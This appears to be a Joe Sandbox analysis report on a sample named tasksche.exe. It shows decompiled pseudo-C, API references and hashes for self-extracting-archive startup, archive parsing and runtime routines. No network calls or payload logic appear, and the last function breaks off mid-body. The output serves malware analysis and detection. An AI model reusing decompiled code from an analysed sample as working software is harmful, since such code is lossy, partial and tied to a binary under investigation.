Function 0040E46C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E0040E46C(signed short* __ecx, intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v48;
				signed short* _v56;
				signed short* _v60;
				intOrPtr _v64;
				intOrPtr _v72;
				char _v76;
				char _v4172;
				void* __edi;
				void* _t58;
				signed int _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				intOrPtr _t66;
				intOrPtr _t76;
				signed short* _t83;
				signed int _t89;
				signed short* _t90;
				signed short _t92;
				char _t94;
				signed short* _t97;
				intOrPtr* _t98;

				_t58 = E0041AAF0(0x1048);
				_t97 = __ecx;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L51:
					return _t58;
				}
				_t58 = E0041A7AF(__ecx);
				if(_t58 >= 0x7f6) {
					goto L51;
				} else {
					_t94 = 0x3c;
					E0041A820(_t94,  &_v76, 0, _t94);
					_t89 =  *_t97 & 0x0000ffff;
					_v76 = _t94;
					_v72 = 0x1c0;
					if(_t89 != 0x22) {
						_v60 = _t97;
					} else {
						_v60 =  &(_t97[1]);
					}
					_t61 = 0;
					if(_t89 == 0) {
						L20:
						_t62 = _v56;
						if(_t62 == 0 ||  *_t62 == 0) {
							if(_a8 == 0 &&  *0x44287a != 0) {
								_v56 = 0x44287a;
							}
						}
						_v48 = 1;
						_t63 = E0040A76A(_v60);
						_v12 = _t63;
						if(_t63 != 0 && E00411E60(_t63, 0x42a920) == 0) {
							_v64 = 0x42a910;
						}
						if(E004092A5(_v60) != 0) {
							E0040A9CB(_t94, _v60,  &_v4172, 0x800);
							_v60 =  &_v4172;
						}
						_t66 =  *0x42a298( &_v76);
						if(_t66 == 0) {
							L50:
							return _t66;
						} else {
							_t98 =  *0x42a2b0;
							_v5 = 0;
							if( *0x441870 != 0 || _a8 != 0 ||  *0x44185d != 0) {
								if(_a4 != 0) {
									_push(_a4);
									if( *0x42a314() != 0) {
										 *_t98(_a4, 0);
										_v5 = 1;
									}
								}
								 *0x42a310(_v20, 0x7d0);
								E0040D857(_v20);
								if( *0x44185d != 0) {
									_push( &_v16);
									_push(_v20);
									if( *0x42a0c4() != 0) {
										_t76 = _v16 + 0x3e8;
										if(_t76 >  *0x441860) {
											 *0x441860 = _t76;
										}
									}
								}
							}
							_t66 =  *0x42a250(_v20);
							if(_v12 == 0) {
								L43:
								if( *0x441870 == 0 || _a8 != 0) {
									_t66 = ((0 | _a8 == 0x00000000) - 0x00000001 & 0xfffffce0) + 0x3e8;
									 *0x441864 = _t66;
								} else {
									 *0x441864 = 0x1b58;
								}
								goto L47;
							} else {
								_t66 = E00411E60(_v12, 0x42a904);
								if(_t66 == 0) {
									L47:
									if(_v5 != 0 && _a8 != 0) {
										_t66 =  *_t98(_a4, 1);
									}
									goto L50;
								}
								goto L43;
							}
						}
					} else {
						_t90 = _t97;
						do {
							if( *_t90 != 0x22) {
								L13:
								if(_t97[_t61] == 0x20 ||  *((short*)(_t97 + 2 + _t61 * 2)) == 0x2f) {
									_t83 =  &(_t97[_t61]);
									if( *_t83 == 0x20) {
										 *_t83 = 0;
									}
									_v56 =  &(_t83[1]);
									goto L20;
								} else {
									goto L15;
								}
							} else {
								while(1) {
									_t61 = _t61 + 1;
									if(_t97[_t61] == 0) {
										goto L13;
									}
									if(_t97[_t61] == 0x22) {
										_t92 = 0x20;
										_t97[_t61] = _t92;
										goto L13;
									}
								}
								goto L13;
							}
							L15:
							_t61 = _t61 + 1;
							_t90 =  &(_t97[_t61]);
						} while ( *_t90 != 0);
						goto L20;
					}
				}
			}

0x0040e474
0x0040e47b
0x0040e482
0x0040e68a
0x0040e68a
0x0040e68a
0x0040e489
0x0040e494
0x00000000
0x0040e49a
0x0040e49d
0x0040e4a4
0x0040e4a9
0x0040e4af
0x0040e4b2
0x0040e4bd
0x0040e4c7
0x0040e4bf
0x0040e4c2
0x0040e4c2
0x0040e4ca
0x0040e4cf
0x0040e520
0x0040e520
0x0040e525
0x0040e52f
0x0040e53a
0x0040e53a
0x0040e52f
0x0040e544
0x0040e54b
0x0040e550
0x0040e555
0x0040e566
0x0040e566
0x0040e577
0x0040e588
0x0040e593
0x0040e593
0x0040e59a
0x0040e5a2
0x0040e686
0x00000000
0x0040e5a8
0x0040e5a8
0x0040e5ae
0x0040e5bc
0x0040e5ce
0x0040e5d0
0x0040e5db
0x0040e5e1
0x0040e5e3
0x0040e5e3
0x0040e5db
0x0040e5ef
0x0040e5f8
0x0040e603
0x0040e608
0x0040e609
0x0040e614
0x0040e619
0x0040e621
0x0040e623
0x0040e623
0x0040e621
0x0040e614
0x0040e603
0x0040e62b
0x0040e634
0x0040e647
0x0040e64d
0x0040e66e
0x0040e670
0x0040e654
0x0040e654
0x0040e654
0x00000000
0x0040e636
0x0040e63e
0x0040e645
0x0040e675
0x0040e678
0x0040e684
0x0040e684
0x00000000
0x0040e678
0x00000000
0x0040e645
0x0040e634
0x0040e4d1
0x0040e4d1
0x0040e4d3
0x0040e4d7
0x0040e4f2
0x0040e4f7
0x0040e50c
0x0040e513
0x0040e517
0x0040e517
0x0040e51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e4d9
0x0040e4e2
0x0040e4e2
0x0040e4e7
0x0040e4e9
0x0040e4e9
0x0040e4e0
0x0040e4ed
0x0040e4ee
0x00000000
0x0040e4ee
0x0040e4e0
0x00000000
0x0040e4e2
0x0040e501
0x0040e501
0x0040e502
0x0040e505
0x00000000
0x0040e50a
0x0040e4cf

APIs

_wcslen.LIBCMT ref: 0040E489
_memset.LIBCMT ref: 0040E4A4

Strings

z(D, xrefs: 0040E53A

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset_wcslen
String ID: z(D
API String ID: 1983209088-2328567735
Opcode ID: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction ID: 3e26098100528e53db86749210a7047ac1cc05a8490cbdb1dbf577081e62715c
Opcode Fuzzy Hash: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction Fuzzy Hash: 8051B571910258BADF31AFA2EC405AE7BB4EF11304F444C7BE841B72E1E77999A5CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00406D02 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00406D02(void* __edx) {
				void* __ebx;
				void* __edi;
				void* _t46;
				signed int _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				void* _t96;
				intOrPtr* _t101;
				void* _t103;

				_t96 = __edx;
				E0041A4DC(0x429658, _t103);
				E0041AAF0(0x5094);
				_t101 =  *((intOrPtr*)(_t103 + 0xc));
				if( *_t101 == 0 ||  *((intOrPtr*)(_t101 + 2)) != 0) {
					_push(0x802);
					_t46 = _t103 - 0x307c;
				} else {
					E0041A7F7(_t103 - 0x307c, 0x42a618);
					_push(0x800);
					_t46 = _t103 - 0x3078;
				}
				_push(_t101);
				_push(_t46);
				E00410B9C();
				E004066DA(0, 0x802,  *((intOrPtr*)(_t103 + 8)), _t103 - 0x407c, 0x800);
				if( *((short*)(_t103 - 0x407c)) == 0x3a) {
					__eflags =  *(_t103 + 0x10);
					if(__eflags == 0) {
						E00410BC9(__eflags, _t103 - 0x307c, _t103 - 0x407c, 0x802);
						E004067E1(_t103 - 0x2078);
						_push(0);
						 *(_t103 + 0x13) = E004096BC(_t96, _t101, _t103 - 0x2078);
						_t56 =  *(_t103 - 0x1070);
						__eflags = _t56 & 0x00000001;
						if((_t56 & 0x00000001) != 0) {
							_t72 = _t56 & 0xfffffffe;
							__eflags = _t56 & 0xfffffffe;
							E0040908D(_t101, _t72);
						}
						E00408786(_t103 - 0x1030);
						 *(_t103 - 4) = 0;
						_t59 = E00408A0A(_t103 - 0x1030, __eflags, _t103 - 0x307c, 0x11);
						__eflags = _t59;
						if(_t59 != 0) {
							_push(_t103 - 0x1030);
							_push(0);
							_t70 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
							__eflags = _t70;
							if(_t70 != 0) {
								E00408A32(_t103 - 0x1030);
							}
						}
						E00408786(_t103 - 0x50a0);
						 *(_t103 - 4) = 1;
						__eflags =  *(_t103 + 0x13);
						if( *(_t103 + 0x13) != 0) {
							_push(5);
							_push(_t101);
							_t64 = E004087C3(_t103 - 0x50a0);
							__eflags = _t64;
							if(_t64 != 0) {
								 *0x42a144( *((intOrPtr*)(_t103 - 0x509c)), _t103 - 0x1050, _t103 - 0x1048, _t103 - 0x1040);
							}
						}
						E0040908D(_t101,  *(_t103 - 0x1070));
						 *(_t103 - 4) = 0;
						E00408C7D(0, _t103 - 0x50a0);
						_t38 = _t103 - 4;
						 *_t38 =  *(_t103 - 4) | 0xffffffff;
						__eflags =  *_t38;
						_t63 = E00408C7D(0, _t103 - 0x1030);
					} else {
						_push(0);
						_push(0);
						_t63 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
					}
				} else {
					E0040639F(0x50,  *((intOrPtr*)(_t103 + 8)) + 0x1e, _t101);
					_t63 = E004062BA(0x4335ac, 3);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t63;
			}

0x00406d02
0x00406d07
0x00406d11
0x00406d18
0x00406d26
0x00406d4e
0x00406d4f
0x00406d2e
0x00406d3a
0x00406d41
0x00406d46
0x00406d46
0x00406d55
0x00406d56
0x00406d57
0x00406d6b
0x00406d78
0x00406d9a
0x00406d9d
0x00406dbd
0x00406dc8
0x00406dcd
0x00406ddb
0x00406dde
0x00406de4
0x00406de6
0x00406de8
0x00406de8
0x00406ded
0x00406ded
0x00406df8
0x00406e0c
0x00406e0f
0x00406e14
0x00406e16
0x00406e21
0x00406e22
0x00406e23
0x00406e28
0x00406e2a
0x00406e32
0x00406e32
0x00406e2a
0x00406e3d
0x00406e42
0x00406e46
0x00406e49
0x00406e4b
0x00406e4d
0x00406e54
0x00406e59
0x00406e5b
0x00406e78
0x00406e78
0x00406e5b
0x00406e85
0x00406e90
0x00406e93
0x00406e98
0x00406e98
0x00406e98
0x00406ea2
0x00406d9f
0x00406da2
0x00406da3
0x00406da4
0x00406da4
0x00406d7a
0x00406d84
0x00406d90
0x00406d90
0x00406ead
0x00406eb5

APIs

__EH_prolog.LIBCMT ref: 00406D07
_wcscpy.LIBCMT ref: 00406D3A

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

Strings

:, xrefs: 00406D70

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_wcscpy_wcslen_wcsncat
String ID: :
API String ID: 2886351473-336475711
Opcode ID: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction ID: 6639f4f99703ce1112f5787d69d8c123706ab186ca62756c3ad703d048bc38cc
Opcode Fuzzy Hash: 5e0e7d49851dca55c4deade094d134f4ea512213999111766949daa2ff960fa4
Instruction Fuzzy Hash: D0417F71905258AAEB20EB64CC55EEE737CAF04344F0040ABB556B71C2DB78AF94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041DEAB(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0041A429(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0041E9B4(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0041A402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0041DC43(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deae
0x0041deb4
0x0041dec2
0x0041dec8
0x0041ded0
0x0041dedc
0x0041dee4
0x0041deec
0x0041df00
0x0041df02
0x0041df06
0x0041df0b
0x0041df11
0x0041df13
0x0041df15
0x0041df18
0x00000000
0x0041df1f
0x0041df13
0x0041df06
0x0041df00
0x0041deec
0x0041df20

APIs

Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A42F
Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A43F

__getptd.LIBCMT ref: 0041DEBA

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DEC8

Strings

csm, xrefs: 0041DED6

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction ID: 7c6b91792d137033b66a9eec197cc920f164d7126653d302a3e0d72df4157e21
Opcode Fuzzy Hash: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction Fuzzy Hash: 040162B5C013148ACF389F25D444AEEB3B6AF14315F24441FE44156791DB38DED1DB49

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 6424, Parent PID: 7116COMMON

Executed Functions

Function 0040FEF0 Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 189
filecomwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040FEF0(void* __edx, void* __eflags) {
				void* _v8;
				char _v12;
				struct _SYSTEMTIME _v28;
				intOrPtr _v40;
				char _v72;
				intOrPtr _v84;
				char _v116;
				short _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HBITMAP__* _t43;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t70;
				void* _t76;
				void* _t90;
				void* _t91;
				WCHAR* _t92;
				struct HINSTANCE__* _t94;
				void* _t97;
				void* _t98;
				void* _t103;
				void* _t104;
				void* _t105;
				intOrPtr _t115;

				_t90 = __edx;
				E00410E1C(1);
				__imp__OleInitialize(0, _t91, _t98, _t76); // executed
				E00411F56(0x44f5b0);
				E0041A820(_t91, 0x43a820, 0, 0x7002);
				_t105 = _t104 + 0xc;
				_t92 = GetCommandLineW();
				_t108 = _t92;
				if(_t92 != 0) {
					E0040D64B(_t108, _t92);
					if( *0x441879 == 0) {
						E0040D5F7(__eflags, _t92); // executed
					} else {
						_t70 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						_v8 = _t70;
						if(_t70 != 0) {
							_t97 = MapViewOfFile(_t70, 0xf001f, 0, 0, 0x7002);
							_t111 = _t97;
							if(_t97 != 0) {
								E0041C290(0, _t97, 0x7002, 0x43a820, _t97, 0x7002);
								_t105 = _t105 + 0xc;
								 *_t97 = 1;
								E0040D5F7(_t111, 0x43a822);
							}
							UnmapViewOfFile(_t97);
						}
						CloseHandle(_v8);
					}
				}
				GetModuleFileNameW(0, 0x439820, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x439820); // executed
				GetLocalTime( &_v28);
				_push(_v28.wMilliseconds & 0x0000ffff);
				_push(_v28.wSecond & 0x0000ffff);
				_push(_v28.wMinute & 0x0000ffff);
				_push(_v28.wHour & 0x0000ffff);
				_push(_v28.wDay & 0x0000ffff);
				_push(_v28.wMonth & 0x0000ffff);
				E0040BC16( &_v216, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d", _v28.wYear & 0x0000ffff);
				SetEnvironmentVariableW(L"sfxstime",  &_v216);
				_t94 = GetModuleHandleW(0);
				 *0x4335a4 = _t94;
				 *0x4335a8 = _t94; // executed
				_t42 = LoadIconW(_t94, 0x64); // executed
				 *0x43981c = _t42; // executed
				_t43 = LoadBitmapW( *0x4335a8, 0x65); // executed
				 *0x439818 = _t43; // executed
				E0041A060( &_v12); // executed
				E0040C3A8(0x4335bc, _t90, _t103, 0x439820);
				E00419137( &_v116);
				E00419137( &_v72);
				_v84 = E00419DD0(0x64);
				_v40 = E00419DD0(0x64);
				 *0x438814 =  &_v116;
				 *0x438810 =  &_v72; // executed
				DialogBoxParamW(_t94, L"STARTDLG", 0, E0040F58D, 0); // executed
				 *0x438810 = 0;
				 *0x438814 = 0;
				E0041915C( &_v72);
				E0041915C( &_v116);
				E0041A0BA();
				if( *0x441870 != 0) {
					E0040D896(_t94);
				}
				E0040D0FE(0x44ce20);
				_t113 =  *0x441858;
				if( *0x441858 > 0) {
					_push( *0x44184c);
					E0041A506(0, _t94, 0x439820, _t113);
				}
				DeleteObject( *0x43981c);
				_t57 =  *0x439818;
				if(_t57 != 0) {
					DeleteObject(_t57);
				}
				_t115 =  *0x4335ac; // 0x3
				if(_t115 == 0 &&  *0x44183c != 0) {
					E004062BA(0x4335ac, 0xff);
				}
				_t58 =  *0x441868;
				 *0x44183c = 1;
				if( *0x441868 != 0) {
					E0040D857(_t58);
					CloseHandle( *0x441868);
				}
				_t59 =  *0x441864;
				if(_t59 != 0) {
					Sleep(_t59);
				}
				__imp__OleUninitialize();
				_t60 =  *0x441860;
				if(_t60 > 0) {
					return _t60;
				} else {
					_t61 =  *0x4335ac; // 0x3
					return _t61;
				}
			}

0x0040fef0
0x0040fefe
0x0040ff06
0x0040ff11
0x0040ff22
0x0040ff27
0x0040ff30
0x0040ff32
0x0040ff34
0x0040ff37
0x0040ff42
0x0040ff9d
0x0040ff44
0x0040ff50
0x0040ff56
0x0040ff5b
0x0040ff68
0x0040ff6a
0x0040ff6c
0x0040ff75
0x0040ff7a
0x0040ff82
0x0040ff85
0x0040ff85
0x0040ff8b
0x0040ff8b
0x0040ff94
0x0040ff94
0x0040ff42
0x0040ffae
0x0040ffc0
0x0040ffc6
0x0040ffd0
0x0040ffd5
0x0040ffda
0x0040ffdf
0x0040ffe4
0x0040ffe9
0x0040fffd
0x00410011
0x0041001a
0x0041001f
0x00410025
0x0041002b
0x00410039
0x0041003e
0x00410047
0x0041004c
0x00410057
0x0041005f
0x00410067
0x00410075
0x00410083
0x0041008a
0x00410098
0x0041009d
0x004100a6
0x004100ac
0x004100b2
0x004100ba
0x004100c2
0x004100cd
0x004100cf
0x004100cf
0x004100d9
0x004100de
0x004100e4
0x004100e6
0x004100ec
0x004100f1
0x004100fe
0x00410100
0x00410107
0x0041010a
0x0041010a
0x0041010c
0x00410112
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410139
0x0041013c
0x00410147
0x00410147
0x0041014d
0x00410154
0x00410157
0x00410157
0x0041015d
0x00410163
0x0041016d
0x00410175
0x0041016f
0x0041016f
0x00000000
0x0041016f

APIs

Part of subcall function 00410E1C: GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
Part of subcall function 00410E1C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

OleInitialize.OLE32(00000000), ref: 0040FF06

Part of subcall function 00411F56: GetCPInfo.KERNEL32(00000000,?,?,?,?,0040FF16), ref: 00411F67
Part of subcall function 00411F56: IsDBCSLeadByte.KERNEL32(00000000), ref: 00411F7B

_memset.LIBCMT ref: 0040FF22
GetCommandLineW.KERNEL32 ref: 0040FF2A
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0040FF50
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007002), ref: 0040FF62
UnmapViewOfFile.KERNEL32(00000000), ref: 0040FF8B

Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0040D610
Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNEL32(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

CloseHandle.KERNEL32(?), ref: 0040FF94
GetModuleFileNameW.KERNEL32(00000000,00439820,00000800), ref: 0040FFAE
SetEnvironmentVariableW.KERNELBASE(sfxname,00439820), ref: 0040FFC0
GetLocalTime.KERNEL32(?), ref: 0040FFC6
_swprintf.LIBCMT ref: 0040FFFD
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00410011
GetModuleHandleW.KERNEL32(00000000), ref: 00410014
LoadIconW.USER32(00000000,00000064), ref: 0041002B
LoadBitmapW.USER32(00000065), ref: 0041003E
DialogBoxParamW.USER32 ref: 0041009D
DeleteObject.GDI32 ref: 004100FE
DeleteObject.GDI32(?), ref: 0041010A

Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

CloseHandle.KERNEL32(000000FF), ref: 00410147
Sleep.KERNEL32(?), ref: 00410157
OleUninitialize.OLE32 ref: 0041015D

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0040FFEF
sfxname, xrefs: 0040FFBB
sfxstime, xrefs: 0041000C
STARTDLG, xrefs: 0041008F
winrarsfxmappingfile.tmp, xrefs: 0040FF44

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$CharCloseDeleteLoadObjectUpperView$AddressBitmapByteCommandDialogIconInfoInitializeLeadLineLocalMappingNameOpenParamProcSleepTimeUninitializeUnmap_memset_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 2890863147-3710569615
Opcode ID: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction ID: f6d524faf13461bd4ea8cb5a97d50562f0dad5b6822c88fd20d602f5543b7383
Opcode Fuzzy Hash: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction Fuzzy Hash: 5061D971A00205BFC720BFA1DC499AE7BB8EB05314F50443BF901A22A1DB7D4D95DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2C Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 544
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402F2C(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t223;
				intOrPtr _t225;
				signed int _t229;
				void* _t231;
				void* _t232;
				unsigned int _t235;
				void* _t240;
				intOrPtr _t243;
				signed char _t246;
				char _t247;
				void* _t258;
				void* _t261;
				signed int _t267;
				signed int _t268;
				intOrPtr _t269;
				signed int* _t270;
				signed char _t271;
				void* _t274;
				signed int _t295;
				signed int _t306;
				signed int _t310;
				signed int _t327;
				signed char _t329;
				signed int _t335;
				void* _t343;
				void* _t346;
				signed int _t355;
				intOrPtr* _t360;
				signed int _t374;
				signed int _t382;
				signed int _t400;
				signed int _t404;
				signed int* _t412;
				unsigned int _t413;
				char _t416;
				void* _t434;
				void* _t443;
				signed int _t460;
				void* _t461;
				signed int _t462;
				signed char _t464;
				void* _t468;
				void* _t470;
				void* _t473;
				void* _t474;
				intOrPtr _t481;
				void* _t482;
				void* _t484;
				void* _t485;
				signed int _t494;
				void* _t497;

				_t485 = _t484 - 0x50;
				E0041A4DC(E00429589, _t482);
				E0041AAF0(0x2070);
				_push(_t479);
				_t360 = __ecx;
				E0040B736(_t482 + 0x28, __ecx);
				_t466 = 0;
				 *((intOrPtr*)(_t482 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L7:
					 *((char*)(_t482 + 0x53)) = 0;
					L12:
					_t223 = E0040B4C8(_t482 + 0x28, _t466, 7); // executed
					__eflags = _t223 - 7;
					if(__eflags < 0) {
						L5:
						E00401C37(_t360, _t460, _t496);
						L6:
						_t497 =  *(_t482 + 0x28) - _t466;
						L88:
						if(_t497 != 0) {
							_push( *(_t482 + 0x28));
							E0041A506(_t360, _t466, _t479, _t497);
						}
						_t225 = 0;
						L91:
						 *[fs:0x0] =  *((intOrPtr*)(_t482 - 0xc));
						return _t225;
					}
					 *(_t360 + 0x655c) = 0;
					_t479 = _t360 + 0x654c;
					 *_t479 = E0040B5AF(_t482 + 0x28);
					_t466 = E0040B670(_t482 + 0x28, 4);
					_t229 = E0040B60D(_t460);
					__eflags = _t229 | _t460;
					if((_t229 | _t460) == 0) {
						L86:
						E00401C80(_t360);
						L87:
						__eflags =  *(_t482 + 0x28);
						goto L88;
					}
					__eflags = _t466;
					if(_t466 == 0) {
						goto L86;
					}
					_t231 = _t229 + _t466;
					_t30 = _t231 - 3; // -3
					_t374 = _t30;
					_t31 = _t231 + 4; // 0x4
					_t466 = _t31;
					__eflags = _t374;
					if(_t374 < 0) {
						goto L86;
					}
					__eflags = _t466 - 7;
					if(_t466 < 7) {
						goto L86;
					}
					_t232 = E0040B4C8(_t482 + 0x28, _t466, _t374);
					__eflags =  *((intOrPtr*)(_t482 + 0x3c)) - _t466;
					if(__eflags >= 0) {
						 *(_t482 + 0x4c) = E0040B716(_t232, _t482 + 0x28);
						 *((intOrPtr*)(_t360 + 0x6550)) = E0040B60D(_t460);
						_t235 = E0040B60D(_t460);
						 *(_t360 + 0x6554) = _t235;
						 *(_t360 + 0x655c) = _t235 >> 0x00000002 & 0x00000001;
						 *((intOrPtr*)(_t360 + 0x6544)) =  *((intOrPtr*)(_t360 + 0x6550));
						__eflags =  *_t479 -  *(_t482 + 0x4c);
						 *(_t360 + 0x6558) = _t466;
						 *((char*)(_t482 + 0x4b)) =  *_t479 !=  *(_t482 + 0x4c);
						__eflags =  *((char*)(_t482 + 0x4b));
						if( *((char*)(_t482 + 0x4b)) == 0) {
							L22:
							_t466 = 0;
							__eflags =  *(_t360 + 0x6554) & 0x00000001;
							 *(_t482 + 0x18) = 0;
							 *(_t482 + 0x1c) = 0;
							if(( *(_t360 + 0x6554) & 0x00000001) == 0) {
								L27:
								__eflags =  *(_t360 + 0x6554) & 0x00000002;
								 *(_t482 + 0x20) = _t466;
								 *(_t482 + 0x24) = _t466;
								if(( *(_t360 + 0x6554) & 0x00000002) != 0) {
									 *(_t482 + 0x20) = E0040B60D(_t460);
									 *(_t482 + 0x24) = _t460;
								}
								_t240 = E004010D4(_t360,  *(_t360 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								asm("adc ecx, [ebp+0x24]");
								 *((intOrPtr*)(_t360 + 0xb048)) = _t240 +  *((intOrPtr*)(_t360 + 0xb040)) +  *(_t482 + 0x20);
								_t243 =  *((intOrPtr*)(_t360 + 0x6550));
								 *((intOrPtr*)(_t360 + 0xb04c)) = 0;
								__eflags = _t243 - 1;
								if(__eflags == 0) {
									_t468 = _t360 + 0x6570;
									E00409B19(_t468);
									_t382 = 5;
									memcpy(_t468, _t479, _t382 << 2);
									_t466 = _t479 + _t382 + _t382;
									_t246 = E0040B60D(_t460);
									 *(_t360 + 0xb055) = _t246 & 0x00000001;
									 *(_t360 + 0xb054) = _t246 >> 0x00000002 & 0x00000001;
									 *(_t360 + 0xb057) = _t246 >> 0x00000004 & 0x00000001;
									 *(_t360 + 0xb05b) = _t246 >> 0x00000003 & 0x00000001;
									 *((char*)(_t360 + 0xb058)) = 0;
